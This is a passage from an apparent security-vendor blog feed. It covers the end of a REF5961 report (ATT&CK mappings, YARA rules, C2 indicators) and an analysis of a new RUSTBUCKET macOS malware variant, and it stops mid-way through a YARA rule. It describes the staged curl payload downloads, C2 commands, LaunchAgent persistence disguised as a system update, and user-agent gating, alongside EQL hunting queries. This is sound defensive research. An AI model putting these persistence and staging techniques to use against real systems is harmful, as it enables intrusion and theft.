<p>This environment has already seen the emergence of the REF2924 intrusion set (SIESTAGRAPH, NAPLISTENER, SOMNIRECORD, and DOORME), as well as the deployment of SHADOWPAD and COBALTSTRIKE. The REF2924 and REF5961 threat actor(s) continue to deploy new malware into their government victim’s environment.</p>
<h2>REF5961 and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advance persistent threats used against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li>EAGERBEE
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
</li>
<li>RUDEBIRD
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
</li>
<li>DOWNTOWN
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
</ul>
</li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li>EAGERBEE
<ul>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1090/">Proxy</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
</ul>
</li>
<li>RUDEBIRD
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1570/">Lateral Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005">Data from Local System</a></li>
</ul>
</li>
<li>DOWNTOWN
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082">System Information Discovery</a></li>
</ul>
</li>
</ul>
<h2>Malware prevention capabilities</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_EagerBee.yar">EAGERBEE</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RudeBird.yar">RUDEBIRD</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DownTown.yar">DOWNTOWN</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the EAGERBEE, RUDEBIRD, and DOWNTOWN malware:</p>
<h3>EAGERBEE</h3>
<pre><code>rule Windows_Trojan_EagerBee_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-09&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.EagerBee&quot;
        reference_sample = &quot;09005775fc587ac7bf150c05352e59dc01008b7bf8c1d870d1cea87561aa0b06&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = { C2 EB D6 0F B7 C2 48 8D 0C 80 41 8B 44 CB 14 41 2B 44 CB 0C 41 }
        $a2 = { C8 75 04 33 C0 EB 7C 48 63 41 3C 8B 94 08 88 00 00 00 48 03 D1 8B }

    condition:
        all of them
}

rule Windows_Trojan_EagerBee_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-09-04&quot;
        last_modified = &quot;2023-09-20&quot;
        threat_name = &quot;Windows.Trojan.EagerBee&quot;
        reference_sample = &quot;339e4fdbccb65b0b06a1421c719300a8da844789a2016d58e8ce4227cb5dc91b&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $dexor_config_file = { 48 FF C0 8D 51 FF 44 30 00 49 03 C4 49 2B D4 ?? ?? 48 8D 4F 01 48 }
        $parse_config = { 80 7C 14 20 3A ?? ?? ?? ?? ?? ?? 45 03 C4 49 03 D4 49 63 C0 48 3B C1 }
        $parse_proxy1 = { 44 88 7C 24 31 44 88 7C 24 32 48 F7 D1 C6 44 24 33 70 C6 44 24 34 3D 88 5C 24 35 48 83 F9 01 }
        $parse_proxy2 = { 33 C0 48 8D BC 24 F0 00 00 00 49 8B CE F2 AE 8B D3 48 F7 D1 48 83 E9 01 48 8B F9 }

    condition:
        2 of them
}
</code></pre>
<h3>RUDEBIRD</h3>
<pre><code>rule Windows_Trojan_RudeBird {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-09&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.RudeBird&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

  strings:
        $a1 = { 40 53 48 83 EC 20 48 8B D9 B9 D8 00 00 00 E8 FD C1 FF FF 48 8B C8 33 C0 48 85 C9 74 05 E8 3A F2 }

    condition:
        all of them
}
</code></pre>
<h3>DOWNTOWN</h3>
<pre><code>rule Windows_Trojan_DownTown_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-10&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.DownTown&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = &quot;SendFileBuffer error -1 !!!&quot; fullword
        $a2 = &quot;ScheduledDownloadTasks CODE_FILE_VIEW &quot; fullword
        $a3 = &quot;ExplorerManagerC.dll&quot; fullword

    condition:
        3 of them
}

rule Windows_Trojan_DownTown_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-08-23&quot;
        last_modified = &quot;2023-09-20&quot;
        threat_name = &quot;Windows.Trojan.DownTown&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = &quot;DeletePluginObject&quot;
        $a2 = &quot;GetPluginInfomation&quot;
        $a3 = &quot;GetPluginObject&quot;
        $a4 = &quot;GetRegisterCode&quot;

    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref5961">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>ce4dfda471f2d3fa4e000f9e3839c3d9fbf2d93ea7f89101161ce97faceadf9a</code></td>
<td>SHA-256</td>
<td>EAGERBEE shellcode</td>
<td>iconcaches.mui</td>
</tr>
<tr>
<td><code>29c90ac124b898b2ff2a4897921d5f5cc251396e8176fc8d6fa475df89d9274d</code></td>
<td>SHA-256</td>
<td>DOWNTOWN</td>
<td>In-memory DLL</td>
</tr>
<tr>
<td><code>185.82.217[.]164</code></td>
<td>ipv4</td>
<td>EAGERBEE C2</td>
<td></td>
</tr>
<tr>
<td><code>195.123.245[.]79</code></td>
<td>ipv4</td>
<td>EAGERBEE C2</td>
<td></td>
</tr>
<tr>
<td><code>45.90.58[.]103</code></td>
<td>ipv4</td>
<td>RUDEBIRD C2</td>
<td></td>
</tr>
<tr>
<td><code>185.195.237[.]123</code></td>
<td>ipv4</td>
<td>RUDEBIRD C2</td>
<td></td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</a></li>
<li><a href="https://www.elastic.co/jp/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">https://www.elastic.co/jp/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns</a></li>
<li><a href="https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/">https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/</a></li>
<li><a href="https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/">https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/</a></li>
<li><a href="https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py">https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager">https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/actor/ta428">https://malpedia.caad.fkie.fraunhofer.de/actor/ta428</a></li>
<li><a href="https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/">https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/photo-edited-08@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[The DPRK strikes using a new variant of RUSTBUCKET]]></title>
            <link>https://www.elastic.co/jp/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket</link>
            <guid>DPRK-strikes-using-a-new-variant-of-rustbucket</guid>
            <pubDate>Fri, 14 Jul 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Watch out! We’ve recently discovered a variant of RUSTBUCKET. Read this article to understand the new capabilities we’ve observed, as well as how to identify it in your own network.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>The RUSTBUCKET malware family is in an active development phase, adding built-in persistence and focusing on signature reduction.</li>
<li>REF9135 actors are continually shifting their infrastructure to evade detection and response.</li>
<li>The DPRK continues financially motivated attacks against cryptocurrency service providers.</li>
<li>If you are running Elastic Defend, you are protected from REF9135</li>
</ul>
<h2>Preamble</h2>
<p>The Elastic Security Labs team has detected a new variant of the RUSTBUCKET malware, a family that has been previously attributed to the BlueNorOff group by <a href="https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/">Jamf Threat Labs</a> in April 2023.</p>
<p>This variant of RUSTBUCKET, a malware family that targets macOS systems, adds persistence capabilities not previously observed and, at the time of reporting, is undetected by VirusTotal signature engines. Elastic Defend behavioral and prebuilt detection rules provide protection and visibility for users. We have also released a signature to prevent this malware execution.</p>
<p>The research into REF9135 used host, binary, and network analysis to identify and attribute intrusions observed by this research team, and other intelligence groups, with high confidence to the Lazarus Group; a cybercrime and espionage organization operated by the Democratic People’s Republic of North Korea (DPRK).</p>
<p>This research will describe:</p>
<ul>
<li>REF9135’s use of RUSTBUCKET for sustained operations at a cryptocurrency payment services provider</li>
<li>Reversing of an undetected variant of RUSTBUCKET that adds a built-in persistence mechanism</li>
<li>How victimology, initial infection, malware, and network C2 intersections from first and third-party collection align with previous Lazarus Group reporting</li>
</ul>
<h2>RUSTBUCKET code analysis</h2>
<h3>Overview</h3>
<p>Our research has identified a persistence capability not previously seen in the RUSTBUCKET family of malware, leading us to believe that this family is under active development. Additionally, at the time of publication, this new variant has zero detections on VirusTotal and is leveraging a dynamic network infrastructure methodology for command and control.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image1.jpg" alt="Execution flow of REF9135" /></p>
<h3>Stage 1</h3>
<p>During Stage 1, the process begins with the execution of an AppleScript utilizing the <strong>%2Fusr%2Fbin%2Fosascript</strong> command. This AppleScript is responsible for initiating the download of the Stage 2 binary from the C2 using cURL. This session includes the string <strong>pd</strong> in the body of the HTTP request and <strong>cur1-agent</strong> as the User-Agent string which saves the Stage 2 binary to <strong>%2Fusers%2Fshared%2F.pd,</strong> (<a href="https://www.virustotal.com/gui/file/7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8">7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8</a>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image2.jpg" alt="Stage 1 command line" /></p>
<h3>Stage 2</h3>
<p>The Stage 2 binary ( <strong>.pd</strong> ) is compiled in Swift and operates based on command-line arguments. The binary expects a C2 URL to be provided as the first parameter when executed. Upon execution, it invokes the <strong>downAndExec</strong> function, which is responsible for preparing a POST HTTP request. To initiate this request, the binary sets the User-Agent string as <strong>mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)</strong> and includes the string <strong>pw</strong> in the body of the HTTP request.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image12.jpg" alt="Setting the HTTP parameters before sending the request" /></p>
<p>During execution, the malware utilizes specific macOS APIs for various operations. It begins with <a href="https://developer.apple.com/documentation/foundation/nsfilemanager">NSFileManager's</a> <strong>temporaryDirectory</strong> function to obtain the current temporary folder, then generates a random UUID using <a href="https://developer.apple.com/documentation/foundation/nsuuid">NSUUID's</a> <strong>UUID.init</strong> method. Finally, the malware combines the temporary directory path with the generated UUID to create a unique file location and writes the payload to it.</p>
<p>Once the payload, representing Stage 3 of the attack is written to disk, the malware utilizes <a href="https://developer.apple.com/documentation/foundation/nstask">NSTask</a> to initiate its execution.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image11.jpg" alt="Generating the Stage 3 file path" /></p>
<h3>Stage 3</h3>
<p>In Stage 3, the malware (<a href="https://www.virustotal.com/gui/file/9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747">9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747</a>) is a FAT macOS binary that supports both ARM and Intel architectures written in Rust. It requires a C2 URL to be supplied as a parameter.</p>
<p>The malware initiates its operations by dynamically generating a 16-byte random value at runtime. This value serves as a distinctive identifier for the specific instance of the active malware. Subsequently, the malware proceeds to gather comprehensive system information, including:</p>
<ul>
<li>Computer name</li>
<li>List of active processes</li>
<li>Current timestamp</li>
<li>Installation timestamp</li>
<li>System boot time</li>
<li>Status of all running processes within the system</li>
</ul>
<p>The malware establishes its initial connection to the C2 server by transmitting the gathered data via a POST request. The request is accompanied by a User-Agent string formatted as <strong>Mozilla%2F4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident%2F4.0)</strong>.</p>
<p>Upon receiving the request, the C2 server responds with a command ID, which serves as an instruction for the malware. The malware is designed to handle only two commands.</p>
<h4>Command ID 0x31</h4>
<p>This command directs the malware to self-terminate.</p>
<h4>Command ID 0x30</h4>
<p>This command enables the operator to upload malicious Mach-O binaries or shell scripts to the system and execute them. The payload is stored in a randomly generated temporary path and created within the current user TMP directory following the naming convention of <strong><code>$TMPDIR%2F.\&lt;8 random digits\&gt;</code></strong></p>
<p>Below is a summary of the command structure, indicating the constants, arguments, and payload components for easy comprehension.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image5.jpg" alt="Command structure example" /></p>
<p>The malware proceeds by granting execution permissions to the uploaded file using the <strong>chmod</strong> API.</p>
<p>After executing the payload, the malware sends a status update to the server, notifying it of the completed execution, and then sleeps for 60 seconds. Following this delay, the malware loops to collect system information once again and remains in a waiting state, anticipating the arrival of the next command from the server</p>
<h3>The undetected version of RUSTBUCKET</h3>
<p>Using code similarities from the sample in our telemetry, we searched VirusTotal and identified an undetected variant of RUSTBUCKET.</p>
<p>As of the publication of this research, the <a href="https://www.virustotal.com/gui/file/de81e5246978775a45f3dbda43e2716aaa1b1c4399fe7d44f918fccecc4dd500">newly discovered version</a> of the malware has not been flagged by any antivirus engines on VirusTotal. A thorough analysis of the sample brought to light the addition of a new persistence capability and C2 infrastructure. The behavioral rules for Elastic Defend prevent, and Elastic’s prebuilt detection rules identify, this activity. We have also released a signature that will prevent this new variant of RUSTBUCKET.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image7.png" alt="VirusTotal results at the time of publication" /></p>
<h3>Persistence</h3>
<p>A predominant method utilized by malware to achieve persistence on macOS is through the utilization of LaunchAgents. In macOS, users have individual LaunchAgents folders within their Library directory, enabling them to define code that executes upon each user login. Additionally, a system-level LaunchAgents folder exists, capable of executing code for all users during the login process. Elastic Defend monitors for the creation of LaunchAgents and LaunchDaemons containing malicious or suspicious values as a way to detect these persistence techniques.</p>
<p>In the case of this updated RUSTBUCKET sample, it establishes its own persistence by adding a plist file at the path <strong><code>%2FUsers%2F\&lt;user\&gt;%2FLibrary%2FLaunchAgents%2Fcom.apple.systemupdate.plist</code></strong> , and it copies the malware’s binary to the following path <strong><code>%2FUsers%2F\&lt;user\&gt;%2FLibrary%2FMetadata%2FSystem Update</code></strong>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image9.jpg" alt="File content of plist used for persistence" /></p>
<p>There are several elements of the plist file, using standard true%2Ffalse or string values:</p>
<ul>
<li><strong>Label:</strong> The key &quot;Label&quot; specifies the name of the LaunchAgent, which in this case is <strong>com.apple.systemupdate</strong>. This expects a string value.</li>
<li><strong>RunAtLoad:</strong> This indicates that the LaunchAgent should execute its associated code immediately upon loading, specifically during system startup or user login. This expects a true%2Ffalse value.</li>
<li><strong>LaunchOnlyOnce:</strong> This prevents the malware from being executed multiple times concurrently and expects a true%2Ffalse value.</li>
<li><strong>KeepAlive:</strong> This key instructs the system to keep the LaunchAgent running and relaunch it if it terminates unexpectedly. This expects a true%2Ffalse value.</li>
<li><strong>ProgramArguments:</strong> The &quot;ProgramArguments&quot; key specifies an array of strings that define the program or script to be executed by the LaunchAgent. This expects a string value and in this case, the LaunchAgent executes the file located at <strong>&quot;<code>%2FUsers%2F\&lt;user\&gt;%2FLibrary%2FMetadata%2FSystem Update</code>&quot;</strong> and provides the C2 URL <strong>&quot;https:%2F%2Fwebhostwatto.work[.]gd&quot;</strong> as an argument to the malware.</li>
</ul>
<h2>RUSTBUCKET and REF9135 analysis</h2>
<h3>Overview</h3>
<p>The RUSTBUCKET campaign has previously been associated with BlueNorOff by Jamf and Sekoia.io. BlueNorOff is believed to be operating at the behest of the DPRK for the purposes of financial gain in order to ease the strain of global sanctions. BlueNorOff is a sub-unit of the overarching DPRK offensive cyber attack organization, the <a href="https://attack.mitre.org/groups/G0032/">Lazarus Group</a>. The <a href="https://www.nytimes.com/interactive/2018/05/03/magazine/money-issue-bangladesh-billion-dollar-bank-heist.html">2016 Bangladesh Bank robbery</a> stands out as BlueNorOff's most notorious attack, wherein their objective was to illicitly transfer over $850M from the Federal Reserve Bank of New York account owned by Bangladesh Bank, the central bank of Bangladesh, by exploiting the SWIFT network.</p>
<blockquote>
<p>As an analyst note, if you’re interested in a tremendously verbose and detailed walkthrough of this intrusion, Geoff White and Jean Lee released a 19-part podcast through the <a href="https://www.bbc.co.uk/programmes/w13xtvg9/episodes/downloads">BBC World Service</a> that is an unbelievable account of this event.</p>
</blockquote>
<h3>Networking infrastructure</h3>
<p>The persistence mechanism identified previously calls out to <strong>https:%2F%2Fwebhostwatto.work[.]gd</strong>. Third-party research into this URL indicates that 12%2F89 <a href="https://www.virustotal.com/gui/url/e299c9f2233f025256ab29d53d070a8f94d1c2c1a2b6f3a7c13e16df185e9e32/detection">VirusTotal</a> vendors have identified it as malicious, and it exists within a community collection documenting the <a href="https://www.cyfirma.com/outofband/tracking_dangerouspassword_campaign_by_lazarusgroup/">DangerousPassword phishing campaign</a>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image6.png" alt="VT detections and community collections for https://webhostwatto.work[.]gd" /></p>
<p>VirusTotal <a href="https://www.virustotal.com/gui/domain/webhostwatto.work.gd/detection">last saw</a> the domain pointing to <strong>104.168.167[.]88</strong>. Which has been specifically identified in a Sekoia.io <a href="https://blog.sekoia.io/bluenoroffs-rustbucket-campaign/">blog</a> in May as part of BlueNorOff’s RUSTBUCKET campaign.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image4.jpg" alt="Updated RUSTBUCKET IP (104.168.167[.]88) previously identified by Sekoia.io" /></p>
<p>Further connecting <strong>webhostwatto.work[.]gd</strong> to DangerousPassword, BlueNorOff, and the DPRK campaigns, this domain shares a TLS leaf certificate fingerprint hash ( <strong>1031871a8bb920033af87078e4a418ebd30a5d06152cd3c2c257aecdf8203ce6</strong> ) with another domain, <strong>companydeck[.]online</strong>.</p>
<p><strong>companydesk[.]online</strong> is included in the <a href="https://www.virustotal.com/graph/g6e8b200cfd774d129558fa5715c83d1bc81099f5cd7643719580be988ec01b8f">VirusTotal Graph</a> (VirusTotal account required) for <a href="https://attack.mitre.org/groups/G0082/">APT38</a>, which is also known as DangerousPassword, BlueNorOff, etc.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image3.jpg" alt="Selection from the VirusTotal Graph for DangerousPassword" /></p>
<p>DangerousPassword and BlueNorOff are campaigns that have both been previously associated with the DPRK.</p>
<p>Using the IP address (<strong>64.44.141[.]15</strong>) for our initial C2 domain, <strong>crypto.hondchain[.]com</strong>, we uncovered 3 additional C2 domains:</p>
<ul>
<li><strong>starbucls[.]xyz</strong></li>
<li><strong>jaicvc[.]com</strong></li>
<li><strong>docsend.linkpc[.]net</strong> (dynamic DNS domain)</li>
</ul>
<p>While there are only 5 hosts (4 total domains) registered to the C2 IP address (indicating that this was not a high-capacity hosting server), we looked for additional relationships to increase the association confidence between the domains. To do this, we replicated the same fingerprinting process previously used with <strong>webhostwatto.work[.]gd</strong>. The TLS fingerprint hash for <strong>starbucls[.]xyz</strong> ( <strong>788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a</strong> ) is the same fingerprint as <strong>jaicvc[.]com</strong>.</p>
<p>With these two domains having the same TLS fingerprint hash and the fact that they were both registered to the IP address, we were able to cluster these atomic entities, and their siblings, together with high confidence:</p>
<ul>
<li>All hosts were registered to <strong>64.44.141[.]15</strong></li>
<li><strong>starbucls[.]xyz</strong> and <strong>crypto.hondchain[.]com</strong> were observed being used by our malware samples</li>
<li><strong>starbucls[.]xyz</strong> and <strong>jaicvc[.]com</strong> shared a TLS fingerprint</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image8.jpg" alt="Domains registered to REF9135 C2 IP address" /></p>
<p>Looking at the “First” column (when they were first observed through 3rd party passive DNS), these hosts are being created rapidly, likely as an attempt to stay ahead of detection efforts by research teams. We are associating the following domains and IP address to the REF9135 campaign with high confidence:</p>
<ul>
<li><strong>starbucls[.]xyz</strong></li>
<li><strong>jaicvc[.]com</strong></li>
<li><strong>crypto.hondchain[.]com</strong></li>
<li><strong>64.44.141[.]15</strong></li>
</ul>
<p>We have not observed <strong>docsend.linkpc[.]net</strong> being used with the RUSTBUCKET samples we analyzed. However, its shared IP registration and host siblings lead us to state with a moderate degree of confidence that it is directly related to RUSTBUCKET and REF9135 as C2 infrastructure; and a high degree of confidence that it is malicious (shared infrastructure as part of other campaigns).</p>
<h3>Defense evasion</h3>
<p>The campaign owners used techniques to hinder the collection of Stage 2 and Stage 3 binaries by analysts who may have overlooked User-Agent strings in their investigations, as well as internet scanners and sandboxes focused on collecting malicious binaries.</p>
<p>As outlined in the Stage 1 section, there is a specific User-Agent string ( <strong>cur1-agent</strong> ) that is expected when downloading the Stage 2 binary, if you do not use the expected User-Agent, you will be provided with a 405 HTTP response status code (Method Not Allowed).</p>
<p>It also appears that the campaign owners are monitoring their payload staging infrastructure. Using the expected User-Agent for the Stage 3 binary download (<strong>mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)</strong>), we were able to collect the Stage 3 binary.</p>
<p>Finally, we observed REF9135 changing its C2 domain once we began to collect the Stage 2 and 3 binaries for analysis. When making subsequent requests to the original server (<strong>crypto.hondchain[.]com</strong>), we received a 404 HTTP response status code (Not Found) and shortly after, a new C2 server was identified (<strong>starbucls[.]xyz</strong>). This could be because we caught the binary before it was rolled off as part of a normal operational security practice (don’t leave your valuable payload attached to the Internet to be discovered) or because they observed a connection to their infrastructure that was not from their targeted network.</p>
<p>Of note, while the User-Agent strings above could initially appear to be the default cURL or Firefox User-Agents strings to an analyst, they are not. The default cURL User-Agent string is <strong>curl%2Fversion.number</strong> whereas the malware uses <strong>cur1-agent</strong> (using a <strong>1</strong> in place of the <strong>l</strong> in “curl”). Additionally, the “Firefox” string is all lowercase (<strong>mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)</strong>), unlike actual <a href="https://www.useragentstring.com/pages/Firefox/">Firefox User-Agent strings</a> which are camel-cased.</p>
<p>This requirement to download payloads allows the attackers to restrict distribution to only requestors who know the correct UA string. This provides strong protection against both scanning services and researchers, who would otherwise have early access to hosted malicious files for analysis and detection engineering.</p>
<h3>Victimology</h3>
<p>The REF9135 victim is a venture-backed cryptocurrency company providing services to businesses such as payroll and business-to-business transactions with a headquarters in the United States. This victim fits the mold from prior reporting on BlueNorOff targeting organizations with access to large amounts of cryptocurrency for theft.</p>
<h2>Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and control</a></li>
</ul>
<h2>Diamond model</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image13.jpg" alt="REF9135 Diamond Model" /></p>
<h2>Detection logic</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_RustBucket.yar">MacOS.Trojan.RustBucket</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_persistence_via_suspicious_launch_agent_or_launch_daemon.toml">Persistence via Suspicious Launch Agent or Launch Daemon</a></li>
</ul>
<h3>Hunting queries</h3>
<p>The events for EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h4>EQL queries</h4>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors observed in REF9135.</p>
<p><strong>Suspicious Curl File Download via Osascript</strong></p>
<pre><code>process where process.parent.name : &quot;osascript&quot; and process.name : &quot;curl&quot; and process.args : &quot;-o&quot;
</code></pre>
<p><strong>Suspicious URL as argument to Self-Signed Binary</strong></p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and 
 process.code_signature.trusted == false and 
 process.code_signature.signing_id regex~ &quot;&quot;&quot;[A-Za-z0-9\_\s]{2,}\-[a-z0-9]{40}&quot;&quot;&quot; and 
 process.args : &quot;http*&quot; and process.args_count &lt;= 3
</code></pre>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the RUSTBUCKET malware:</p>
<pre><code> rule MacOS_Trojan_RustBucket {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-06-26&quot;
        last_modified = &quot;2023-06-26&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;MacOS&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;RustBucket&quot;
        threat_name = &quot;MacOS.Trojan.RustBucket&quot;
        reference_sample = &quot;9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747&quot;
        severity = 100

    strings:
